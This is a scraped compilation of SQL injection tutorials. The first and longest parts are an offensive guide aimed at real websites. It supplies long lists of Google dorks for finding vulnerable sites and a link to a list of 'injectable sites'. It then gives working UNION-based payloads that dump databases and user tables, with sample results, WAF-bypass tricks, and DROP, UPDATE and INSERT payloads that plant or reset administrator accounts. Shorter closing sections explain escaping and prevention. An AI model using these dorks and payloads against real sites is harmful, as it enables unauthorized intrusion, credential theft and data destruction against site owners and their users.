You are on page 1of 17

SQL Injection: A Step-by-Step Tutorial

SQL injection is a code injection technique that exploits a security vulnerability occurring in the
database layer of an application. The vulnerability is present when user input is either incorrectly
filtered for string literal escape characters embedded in SQL statements or user input is not
strongly typed and thereby unexpectedly executed. It is an instance of a more general class of
vulnerabilities that can occur whenever one programming or scripting language is embedded
inside another. SQL injection attacks are also known as SQL insertion attacks.
Step-by-Step tutorial for SQL Injection
Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every
other hack attack is the most time consuming, and is the only time consuming step. Once you get
through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this
attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at
the end of this post, we'll provide a list of vulnerable sites.

Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=

inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=

inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

and you can also write your own.


How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.abcd.com/index.php?catid=1
Add a ' (apos) at the end of the URL. Such that the URL looks like
hxxp://www.abcd.com/index.php?catid=1'
If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the
page and move on to the next site in the search result.
Typical errors you'll get after appending the apostrophe are:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those
columns that are accepting the queries from you.
Append an 'order by' statement to the URL.
eg. hxxp://www.abcd.com/index.php?catid=1 order by 1
Continue increasing the number after order by till you get an error. So the highest number for
which you do not get an error is the number of columns in the table. Now to know the column
numbers which are accepting the queries.
Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a
hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6
Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4
as the result. Now we'll inject our SQL statements in one of these columns.
Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to
inject the command in one of the open columns. Say we use column number 2.
eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6
You'll get the version of the database in the place where you had got the number 2. If the
starting of the version number is 5 or more, then you are good to go. If less move on to another
site.
Step 4: Expolit
To get list of databases:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6
from information_schema.schemata-Result will display a list of databases on the site. Here on, we'll write the results we have got from
our test.
Result: information_schema,vrk_mlm

To know the current database in use:


hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6-Result: vrk_mlm
To get the current user:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6-Result: vrk_4mlm@localhost
To get the tables:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from
information_schema.tables where table_schema=database()-Result: administrator,category,product,users
We'll concentrate our attack on the users table.
To get the columns:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6
from information_schema.columns where table_schema=database()-Result:
admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDe
sc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address
By lookin at the columns closely, and the order of the tables, we can conclude that starting from
id,incredible_id are the columns belonging to the users table and we are interested in that.
Extract information:
union select
group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_i
d,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users-List of SQLi vulnerable sites: http://techkranti.blogspot.com/p/sql-injectable-sites.html
Happy Hacking!!!
Get Ethical Hacking Tips and Tricks on your mobile. Subscribe to TechKranti's SMS channel
Subscribe to TechKranti's feeds

what is sql injection


SQL injection refers to the act of someone inserting a MySQL statement to be run on your
database without your knowledge. Injection usually occurs when you ask a user for input, like their
name, and instead of a name they give you a MySQL statement that you will unknowingly run on your
database.

sql injection example


Below is a sample string that has been gathered from a normal user and a bad user trying to use
SQL Injection. We asked the users for their login, which will be used to run a SELECT statement to
get their information.

MySQL & PHP Code:


// a good user's name
$name = "timmy";
$query = "SELECT * FROM customers WHERE username = '$name'";
echo "Normal: " . $query . "<br />";
// user input that uses SQL Injection
$name_bad = "' OR 1'";
// our MySQL query builder, however, not a very safe one
$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";
// display what the new query will look like, with injection
echo "Injection: " . $query_bad;

Display:
Normal: SELECT * FROM customers WHERE username = 'timmy'
Injection: SELECT * FROM customers WHERE username = '' OR 1''
The normal query is no problem, as our MySQL statement will just select everything from
customers that has a username equal to timmy.
However, the injection attack has actually made our query behave differently than we intended.
By using a single quote (') they have ended the string part of our MySQL query

username = ' '

and then added on to our WHERE statement with an OR clause of 1 (always true).

username = ' ' OR 1

This OR clause of 1 will always be true and so every single entry in the "customers" table would
be selected by this statement!

more serious sql injection attacks


Although the above example displayed a situation where an attacker could possibly get access to
a lot of information they shouldn't have, the attacks can be a lot worse. For example an attacker could
empty out a table by executing a DELETEstatement.

MySQL & PHP Code:


$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";
// our MySQL query builder really should check for injection
$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
// the new evil injection query would include a DELETE statement
echo "Injection: " . $query_evil;

Display:
SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1
or username = ' '

If you were run this query, then the injected DELETE statement would completely empty your
"customers" table. Now that you know this is a problem, how can you prevent it?

injection prevention - mysql_real_escape_string()


Lucky for you, this problem has been known for a while and PHP has a specially-made function to
prevent these attacks. All you need to do is use the mouthful of a function mysql_real_escape_string.
What mysql_real_escape_string does is take a string that is going to be used in a MySQL query
and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace
those troublesome quotes(') a user might enter with a MySQL-safe substitute, an escaped quote \'.
Lets try out this function on our two previous injection attacks and see how it works.

MySQL & PHP Code:


//NOTE: you must be connected to the database to use this function!
// connect to MySQL
$name_bad = "' OR 1'";
$name_bad = mysql_real_escape_string($name_bad);
$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";
echo "Escaped Bad Injection: <br />" . $query_bad . "<br />";
$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";
$name_evil = mysql_real_escape_string($name_evil);
$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
echo "Escaped Evil Injection: <br />" . $query_evil;

Display:
Escaped Bad Injection:
SELECT * FROM customers WHERE username = '\' OR 1\''
Escaped Evil Injection:
SELECT * FROM customers WHERE username = '\'; DELETE FROM customers WHERE 1
or username = \''
Notice that those evil quotes have been escaped with a backslash \, preventing the injection
attack. Now all these queries will do is try to find a username that is just completely ridiculous:

Bad: \' OR 1\'


Evil: \'; DELETE FROM customers WHERE 1 or username = \'

And I don't think we have to worry about those silly usernames getting access to our MySQL
database. So please do use the handy mysql_real_escape_string()function to help prevent SQL
Injection attacks on your websites. You have no excuse not to use it after reading this lesson!
What is the cause of most problems related to SQL injection?
Webdevelopers aren't always really dumb and they have also heard of hackers and have
implemented some security measures like WAF or manual protetion. WAF is an Web application
firewall and will block all malicous requests, but WAF's are quite easy to bypass. Nobody would like to

have their site hacked and they are also implementing some security, but ofcourse it would be false to
say that if we fail then it's the servers fault. There's also a huge possibility that we're injecting
otherwise than we should.
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to
an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting
(XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified
and blocked. The effort to perform this customization can be significant and needs to be maintained
as the application is modified.
If you're interested about WAF's and how they're working then I suggest to read it from wikipedia
http://en.wikipedia.org/wiki/Application_firewall

Order by is being blocked?


It rarely happens, but sometimes you can't use order by because the WAF has blocked it or some
other reasons. Unfortunally we can't skip the order by and we have to find another way. The way is
simple, instead of using Order by we have to use Group by because that's very unlikely to be
blacklisted by the WAF.
If that request will return 'forbidden' then it means it's blocked.
http://site.com/gallery?id=1 order by 100-Then you have to try to use Group by and it will return correct :
http://site.com/gallery?id=1 group by 100-- / success
Still there's an possibility that WAF will block the request, but there's on other way also and that's not
very widely known. It's about using ( the main query ) = (select 1)
http://example.org/news.php?id=8 and (select * from admins)=(select 1)
Then you'll probably recive an error like this : Operand should contain 5 column(s).
That error means there are 5 columns and it means we can proceed to our next step what's union
select. The command was different than usual, but the further injection will be the same.
http://site.com/news.php?id=-8 union select 1,2,3,4,5-'order by 10000' and still not error?
That's an small chapter where I'll tell you why sometimes order by won't work and you don't see an
error. The difference between this capther and the last one is that previously your requests were
blocked by the WAF, but here's the injection method is just a littlebit different. When I saw that on my
first time then I thought how does a Database have 100000 columns because I'm not getting the error
while the site is vulnerable?
The answer is quite logical. By trying order by 1000000 we're not getting the error because there are
so many columns in there, we're not getting the error because our injecting isn't working.

Example : site.com/news.php?id=9 order by 10000000000-- [No Error]


to bypass this you just have to change the URL littlebit.Add ' after the ID number and at the end just
enter +
Example :
site.com/news.php?id=9' order by 10000000--+[Error]

If the last example is working for you then it means you have to use it in the next steps also, there isn't
anything complicated, but to make everything clear I'll still make an example.

http://site.com/news.php?id=-9' union select 1,2,3,4,5,6,7,8--+


Extracting data from other database.
Sometimes we can inject succesfully and there doesn't appear any error, it's just like a hackers
dream. That dream will end at the moment when we'll see that there doesn't exist anything useful to
us. There are only few tables and are called "News", "gallery" and "articles". They aren't useful at all
to us because we'd like to see tables like "Admin" or "Administrator". Still we know that the server
probably has several databases and even if we have found the information we're looking for, you
should still take a look in the other databases also.
This will give you Schema names.
site.com/news.php?id=9 union select 1,2,group_concat(schema_name),4 from
information_schema.schemata
And with this code you can get the tables from the schema.
site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from
information_schema.tables where table_schema=0x
This code will give you the column names.
site.com/news.php?id=9 union select 1,2,group_concat(column_name),4 from
information_schema.tables where table_schema=0x and table_name=0x
I get error if I try to extract tables.

site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from


information_schema.tables
Le wild Error appears.
"you have an error in your sql syntax near '' at line 1"
Change the URL for this
site.com/news.php?id=9 union select 1,2,concat(unhex(hex(table_name),4 from
information_schema.tables limit 0,1--

How to bypass WAF/Web application firewall


The biggest reason why most of reasons are appearing are because of security measures added to
the server and WAF is the biggest reason, but mostly they're made really badly and can be bypassed
really easily. Mostly you will get error 404 like it's in the code below, this is WAF. Most likely persons
who're into SQL injection and bypassing WAF's are thinking at the moment "Dude, only one
bypassing method?", but in this case we both know that bypassing WAF's is different kind of science
and I could write a ebook on bypassing these. I'll keep all those bypassing queries to another time
and won't cover that this time.

"404 forbidden you do not have permission to access to this webpage"


The code will look like this if you get the error
http://www.site.com/index.php?id=-1+union+select+1,2,3,4,5-[Error]
Change the url Like it's below.
http://www.site.com/index.php?id=-1+/*!UnIoN*/+/*!sELeCt*/1,2,3,4,5-[No error]
Is it possible to modify the information in the database by SQL injection?
Most of people aren't aware of it, but it's possible. You're able to Update, Drop, insert and select
information. Most of people who're dealing with SQL injection has never looked deeper in the attack
than shown in the average SQL injection tutorial, but an average SQL injection tutorial doesn't have
those statements added. Most likely because most of people are copy&pasting tutorials or just
overwriting them. You might ask that why should one update, drop or insert information into the
database if I can just look into the information to use the current ones, why should we make another
Administrator account if there already exists one?
Reading the information is just one part of the injection and sometimes those other commands what
are quite infamous are more powerful than we thought. If you have read all those avalible SQL
injection tutorials then you're probably aware that you can read the information, but you didn't knew
you're able to modify it. If you have tried SQL injecting then you have probably faced some problems
that there aren't administrator account, why not to use the Insert command to add one? There aren't
admin page to login, why not to drop the table and all information so nobody could access it? I want to
get rid of the current Administrator and can't change his password, why not to use the update
commands to change the password of the Administrator?
You have probably noticed that I have talked alot about unneccesary information what you probably
don't need to know, but that's an information you need to learn and understand to become a real
hacker because you have to learn how SQL databases are working to fiqure it out how those
commands are working because you can't find tutorials about it from the network. It's just like math
you learn in school, if you won't learn it then you'll be in trouble when you grow up.
Theory is almost over and now let's get to the practice.
Let's say that we're visiting that page and it's vulnerable to SQL injection.

http://site.com/news.php?id=1

You have to start injecting to look at the tables and columns in them, but let's assume that the current
table is named as "News".
With SQL injection you can SELECT, DROP, UPDATE and INSERT information to the database. The
SELECT is probably already covered at all the tutorials so let's focus on the other three. Let's start
with the DROP command.
I'd like to get rid of a table, how to do it?

http://site.com/news.php?id=1; DROP TABLE news

That seems easy, we have just dropped the table. I'd explain what we did in the above statement, but
it's quite hard to explain it because you all can understand the above command. Unfortunally most of
'hackers' who're making tutorials on SQL injection aren't aware of it and sometimes that three words
are more important than all the information we can read on some tutorials.
Let's head to the next statement what's UPDATE.
http://site.com/news.php?id=1; UPDATE 'Table name' SET 'data you want to edit' = 'new data'
WHERE column_name='information'-Above explanation might be quite confusing so I'll add an query what you're most likely going to use in
real life :

http://site.com/news.php?id=1; UPDATE 'admin_login' SET 'password' = 'Crackhackforum' WHERE


login_name='Rynaldo'-We have just updated Administrator account's password.In the above example we updated the
column called 'admin_login" and added a password what is "Crackhackforum" and that credentials
belongs to account which's username is Rynaldo. Kinda heavy to explain, but I hope you'll
understand.

How does INSERT work?

Luckily "INSERT" isn't that easy as the "DROP" statement is, but still quite understandable. Let's go
further with Administrator privileges because that's what most of people are heading to. Adding an
administrator account would be like this :
http://site.com/news.php?id=1; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password',
'details') VALUES (2,'Rynaldo','Crackhackforum','NA')-INSERT INTO 'admin_login' means that we're inserting something to 'admin_login'. Now we have to
give instructions to the database what exact information we want to add, ('login_id', 'login_name',
'password', 'details') means that the specifications we're adding to the DB are Login_id, Login_name,
password and details and those are the information the database needs to create a new account. So
far we have told the database what information we want to add, we want to add new account,
password to it, account ID and details. Now we have to tell the database what will be the new
account's username, it's password and account ID, VALUES (2,'Rynaldo','Crackhackforum','NA')-- .
That means account ID is 2, username will be Rynaldo, password of the account will be
Crackhackforum. Your new account has been added to the database and all you have to do is
opening up the Administrator page and login.
Passwords aren't working
Sometimes the site is vulnerable to SQL and you can get the passwords.Then you can find the sites
username and password, but when you enter it into adminpanel then it shows "Wrong password".This
can be because those usernames and passwords are there, but aren't working. This is made by site's
admin to confuse you and actually the Cpanel doesn't contain any username/password. Sometimes
are accounts removed, but the accounts are still in the database. Sometimes it isn't made by the
admin and those credentials has been left in the database after removing the login page, sometimes
the real credentials has been transfered to another database and old entries hasn't been deleted.

Sometimes i get some weird password


This weird password is called Hash and most likely it's MD5 hash.That means the sites admin has
added more security to the website and has encrypted the passwords.Most popular crypting way is
using MD5 hash.The best way to crack MD5 hashes is using PasswordsPro or Hashcat because
they're the best and can crack the password even if it's really hard or isn't MD5. Also you can use
http://md5decrypter.com .I don't like to be a person who's pitching around with small details what
aren't correct, but here's an tip what you should keep in mind. The domain is saying it's
"md5decryptor" what reffers to decrypting MD5 hashes. Actually it's not possible to decrypt a hash
because they're having 'one-way' encryption. One way encryption means it can only be encrypted, but
not decrypted. Still it doesn't mean that we can't know what does the hash mean, we have to crack it.
Hashes can't be decrypted, only cracked. Those online sites aren't cracking hashes every time,
they're saving already cracked hashes & results to their database and if you'll ask an hash what's
already in their database, you will get the result. :)
Md5 hash looks like this : 827ccb0eea8a706c4c34a16891f84e7b = 12345
You can read about all Hashes what exist and their description http://pastebin.com/aiyxhQsf
Md5 hashes can't be decrypted, only cracked
How to find admin page of site?

Some sites doesn't contain admin control panel and that means you can use any method for finding
the admin page, but that doesn't even exist. You might ask "I got the username and password from
the database, why isn't there any admin login page then?", but sometimes they are just left in the
database after removing the Cpanel.
Mostly people are using tools called "Admin page finders".They have some specific list of pages and
will try them.If the page will give HTTP response 200 then it means the page exists, but if the server
responds with HTTP response 404 then it means the page doesn't exist in there.If the page exist what
is in the list then tool will say "Page found".I don't have any tool to share at the moment, but if you're
downloading it yourself then be beware because there are most of those tools infected with virus's.
Mostly the tools I mentioned above, Admin Page Finders doesn't usually find the administrator page if
it's costumly made or renamed. That means quite oftenly those tools doesn't help us out and we have
to use an alternative and I think the best one is by using site crawlers. Most of you are probably
having Acunetix Web Vulnerability scanner 8 and it has one wonderful feature called site crawler. It'll
show you all the pages on the site and will %100 find the login page if there exists one in the page.

Automated SQL injection tools.


Automated SQL injection tools are programs what will do the whole work for you, sometimes they will
even crack the hashes and will find the Administrator page for you. Most of people are using
automated SQL injection tools and most popular of them are Havij and SQLmap. Havij is being used
much more than SQLmap nomatter the other tool is much better for that injection. The sad truth why
that's so is that many people aren't even able to run SQLmap and those persons are called scriptkiddies. Being a script-kiddie is the worstest thing you can be in the hacking world and if you won't
learn how to perform the attack manually and are only using tools then you're one of them. If you're
using those tools to perform the attack then most of people will think that you're a script-kiddie
because most likely you are. Proffesionals won't take you seriusly if you're injecting with them and you

won't become a real hacker neither. My above text might give you an question, "But I've seen that
even Proffesional hackers are using SQLmap?" and I'd like to say that everything isn't always black &
white. If there are 10 databases, 50 tables in them and 100 columns in the table then it would just
take days to proccess all that information.I'm also sometimes using automated tools because it makes
my life easier, but to use those tools you first have to learn how to use those tools manually and that's
what the tutorial above is teaching you.
Use automated tools only to make your life easier, but don't even look at them if you don't know how
to perform the attack manually.
What else can I do with SQL injection besides extracting information?
There are many things besides extracting information from the database and sometimes they are
much more powerful. We have talked above that sometimes the database doesn't contain
Administrator's credentials or you can't crack the hashes. Then all the injection seems pointless
because we can't use the information we have got from the database. Still we can use few another
methods. Just like we can conduct CSRF attack with persistent XSS, we can also move to another
attacks through SQL injection. One of the solution would be performing DOS attack on the website
which is vulnerable to SQL injection. DOS is shortened from Denial of service and it's tottaly different
from DDOS what's Distributed Denial of Service. I think that you all probably know what these are, but
if I'm taking that attack up with a sentence then DOS will allow us to take down the website
temporarely so users wouldn't have access to the site. The other way would be uploading our shell
through SQL injection. If you're having a question about what's shell then by saying it shortly, it's a
script what we'll upload to the server and it will create an backdoor for us and will give us all the
privileges to do what we'd like in the server and sometimes by uploading a shell you're having more
rights to modify things than the real Administrator has. After you have uploaded a shell you can move
forward to symlink what means we can deface all the sites what are sharing the same server. Shelling
the website is probably most powerful thing you can use on the website. I have not covered how to
upload a shell through SQL injection and haven't covered how to cause DOS neither, but probably will
do in my next tutorials because uploading a shell through SQL is another kind of science, just like
bypassing WAF's. Those are the most common methods what attackers will put in use after they can't
get anything useful out of the database. Ofcourse every website doesn't have the same vulnerabilities
and they aren't responding always like we want and by that I mean we can't perform those attacks on
all websites.We have all heard that immagination is unlimited and you can do whatever you'd like.
That's kinda true and hacking isn't an exception, there are more ways than I can count.
What to do if all the information doesn't display on the page?
I actually have really rarely seen that there are so much information on the webpage that it all just
don't fit in there, but one person recently asked that question from me and I decided to add it here.
Also if you're having questions then surely ask and I'll update the article. If we're getting back to the
question then the answer is simple, if all the information can't fit in the screen then you have to look at
the source code because everything displayed on the webpage will be in there. Also sometimes
information will appear in the tab where usually is the site's name. If you can't see the information then
sometimes it's hiddened, but with taking a deeper look you might find it from the source. That's why
you always have to look all the solutions out before quiting because sometimes you might think "I
can't inject into that..", but actually the answer is hiddened in the source.

What is the purpose of '--' in the union+select+1,2,3,4,5-- ?


I suggest to read about null-byte's and here's a good explanation about it :
http://en.wikipedia.org/wiki/Null_character because it might give you some hint why -- is being used .
Purpose of adding -- in the end of the URL isn't always neccesary and it depends on the target. It

doesn't have any influence to the injection because it doesn't mean anything, but it's still being used
because it's used as end of query. It means if I'm injecting as : http://site.com/news.php?id=-1 union
select 1,2,3,4,5-- asasdasd then the server will skip everything after -- and asasdasd won't be readed.
It's just like adding to masking a shell. Sometimes injection isn't working if -- is missing because -- tells
the DB that "I'm the end of query, don't read anything what comes after me and execute everything
infront of me". It's just like writing a sentence without a dot, people might think it's not the end of your
sentence and will wait until you write the other part of the sentence and the end will come if you add
the dot to your sentence.

SQL Injection Example


In this tutorial on SQL injection, we present a few different examples of SQL injection attacks,
along with how those attacks can be prevented. SQL injection attacks typically start with a hacker
inputting his or her harmful/malicious code in a specific form field on a website. A website form, if
you dont already know, is something you have definitely used like when you log into Facebook
you are using a form to login, and a form input field can be any field on a form that asks for your
information whether its an email address or a password, these are all form fields.
For our example of SQL injection, we will use a hypothetical form which many people have
probably dealt with before: the email me my password form, which many websites have in case
one of their users forgets their password.
Subscribe to our newsletter for more free interview questions.
The way a typical email me my password form works is this: it takes the email address as an
input from the user, and then the application does a search in the database for that email address.
If the application does not find anything in the database for that particular email address, then it
simply does not send out an email with a new password to anyone. However, if the
application does successfully find that email address in its database, then it will send out an email
to that email address with a new password, or whatever information is required to reset the
password.
But, since we are talking about SQL injection, what would happen if a hacker was not trying to
input a valid email address, but instead some harmful SQL code that he wants to run on someone
elses database to steal their information or ruin their data? Well, lets explore that with an
example, starting from how a hacker would typically get started in order to figure out a system
works.

Starting the SQL Injection Process


The SQL that would retrieve the email address in the email me my password form would typically
look something like this keep in mind that this SQL really is embedded within a scripting
language like PHP (it depends on what scripting language is being used by the application):

SELECT data
FROM table

WHERE Emailinput = '$email_input';

This is, of course, a guess at what the SQL being run by the application would look like, because a
hacker would not know this information since he does not have access to the application code. The
$email_input variable is used to hold whatever text the user inputs into the email address form
field.

Step 1: Figure out how the application handles bad inputs


Before a hacker can really start taking advantage of a weak or insecure application, he must figure
out how the application handles a simple bad input first. Think of this initial step as the hacker
feeling out his opponent before he releases the really bad SQL.
So, with that in mind, the first step a hacker would typically take is inputting an email address with
a quote appended to the end into the email form field. We will of course explain why further down
below. But for now, the input from the hacker would look something like this pay special
attention to the fact that there is a quote appended to the end of the email address:

hacker@programmerinterview.com'

If the hacker puts that exact text into the email address form field then there are basically 2
possibilities:

1. The application will first sanitize the input by removing the extra quote at the end,
because we will assume that the application considers email addresses with quotes as
potentially malicious. But, a side note: email addresses can actually contain quotes
according to IETF standards. Sanitizing data is the act of stripping out any characters that
arent needed from the data that is supplied in our case, the email address. Then, the
application may run the sanitized input in the database query, and search for that
particular email address in the database (without the quote of course).

2. The application will not sanitize the input first, and will take the input from the hacker
and immediately run it as part of the SQL. This is what the hacker is hoping would happen,
and we will assume that this is what our hypothetical application is doing. This is also
known as constructing the SQL literally, without sanitizing. What it means is that the SQL
being run by the application would look like this pay extra attention to the fact that there
is now an extra quote at the end of the WHERE statement in the SQL below:

SELECT data
FROM table
WHERE Emailinput = 'hacker@programmerinterview.com'';

Now, what would happen if the SQL above is executed by the application? Well, the SQL parser
would see that there is an extra quote mark at the end, and it will abort with a syntax error.

The error response is key, and tells the hacker a lot


But, what will the hacker see on the actual form page when he tries to input this email address
with a quote at the end? Well, it really depends on how the application is set up to handle errors in
the database, but the key here is that the hacker will most likely not receive an error saying
something like This email address is unknown. Please register to create an account which is
what the hacker would see if the application is actually sanitizing the input. Since we are assuming
that the application is not sanitizing its input, the hacker would most likely see something like
Internal error or Database error and now the hacker also knows that the input to the
database is not being sanitized . And if the application is not sanitizing its input then it means that
the database can most probably be exploited, destroyed, and/or manipulated in some way that
could be very bad for the application owner.

Step 2: Run the actual SQL injection attack


Now that the hacker now knows the database is vulnerable he can attack further to get some
really good information. What could our hacker do? Well, if hes been able to successfully figure
out the layout of the table, he could just type this harmful code on the form field (where the email
address would normally go):

Y';
UPDATE table
SET email = 'hacker@ymail.com'
WHERE email = 'joe@ymail.com';

Note that the SQL above is completely SQL compliant and legitimate. You can see that after the Y
there is an extra quote followed by a semicolon, which allows the hacker to close the statement
and then incredibly run another statement of his own!
Then, if this malicious code is run by the application under attack, it would look like this:

SELECT data
FROM table
WHERE Emailinput = 'Y';
UPDATE table
SET email = 'hacker@ymail.com'
WHERE email = 'joe@ymail.com';

Can you see what this code is doing? Well, it is resetting the email address that belongs to
joe@ymail.com to hacker@ymail.com. This means that the hacker is now changing a users

account so that it uses his own email address hacker@ymail.com. This then means that the
hacker can reset the password and have it sent to his own email address! Now, he also has a
login and a password to the application, but it is under someone elses account.
In the example above, we did skip some steps that a hacker would have taken to figure out the
table name and the table layout, because we wanted to keep this article relatively short. But, the
idea is that SQL injection is a real threat, and taking measures to prevent it is extremely
important.
Now, the question is how to prevent SQL injection attacks? Well, read on to the next page or just
click here: SQL Injection Prevention.

You might also like